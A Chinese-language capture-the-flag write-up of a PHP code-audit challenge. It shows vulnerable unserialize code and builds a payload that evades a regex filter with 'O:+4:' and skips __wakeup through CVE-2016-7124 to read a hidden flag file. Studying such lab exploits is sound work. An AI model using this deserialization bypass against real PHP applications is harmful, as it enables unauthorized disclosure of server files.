学习最好的方法就是记录,所以本次记录为了以后自己复习使用。
第一关代码审计
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
当看到这段代码时,可以看到提示说flag在f15g_1s_here.php,所以我们要将$file的取值变为f15g_1s_here.php,然后进行反序列化,所以我们需要重新按照程序中的Demo类写一个Demo类,构造一个序列化的payload。
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'index.php';
}
}
}
$test = new Demo('f15g_1s_here.php');
$test = serialize($test);
这里如果直接将值传入,是不行的,因为这里有个正则表达式,具体意思为匹配o\c\oc:1-9(扩展1至无限次),因为得到的结果为o:4,所以可以改为o:+4进行绕过。
$test = str_replace('O:4:','O:+4:',$test);
然后可以进行反序列化,但这里要注意几个PHP魔术方法的作用,
在了解了这几个魔术方法后,发现我们需要绕过__wakeup(),不然我们的$file就好改为index.php,然而这里可以利用CVE-2016-7124漏洞,即反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
$test = str_replace(':1:',':2:',$test);
最后再进行一次base64编码就OK了,提交payload